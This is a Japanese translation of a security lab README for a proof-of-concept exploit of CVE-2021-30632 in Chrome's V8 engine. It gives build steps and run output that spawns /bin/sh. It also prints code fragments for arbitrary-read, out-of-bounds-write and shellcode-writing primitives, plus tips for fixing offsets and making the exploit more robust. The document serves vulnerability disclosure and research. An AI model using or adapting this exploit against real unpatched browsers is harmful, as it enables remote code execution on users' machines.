
m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
提供元: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
このバグの分析はこちらで確認できます。これは匿名の研究者によって報告されたChromeのバグであり、実際に悪用されたと考えられています。
ここでのエクスプロイトは、v8バージョン9.3.345.16(コミット632e6e7)でテストされています。これは、バグが修正される前のChrome 93.0.4577.63に搭載されていたバージョンであり、Ubuntu 20.04上で動作確認しています。Chrome自体ではテストしていません。
テストするには、コミット632e6e7でv8をチェックアウトし、tools/dev/gm.py x64.releaseを使用してデフォルト設定でコンパイルしてください。その後、d8でファイルpoc.jsを開きます。
./d8 poc.js Ubuntu 20.04では、execve("/bin/sh")を呼び出して新しいプロセスを起動します。
./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $ 他のプラットフォームではシェルコードの変更が必要になる場合があります。
このエクスプロイトは非常に信頼性が高いですが、テスト中に、ファイルの小さな変更(コメントを追加するだけでも問題が発生する可能性があります)によって一部のオフセットが影響を受け、エクスプロイトが失敗することがあることに気付きました。これはファイルが変更された場合にのみ発生し、通常はアドレスのガベージ値として現れます。例えば次のようになります。
instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a 上記の例では、rwxページとinitBackingStoreのアドレスが明らかに誤っています。根本原因は、elementsストアの値が不正であることのようです。(800222dは有効な値ではありません) これは通常、elementsのアドレスに関する以下の行を変更することで修正できます。
function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1]; しかし、これはエクスプロイトの信頼性には影響しません。ファイルが固定されている限りオフセットは安定していますが、pocが変更された場合に問題を引き起こす可能性があります。この原因は不明ですが、固定オフセットに依存するのではなく、メモリ内のパターンをマッチングすることで、より堅牢なエクスプロイトにできる可能性があります。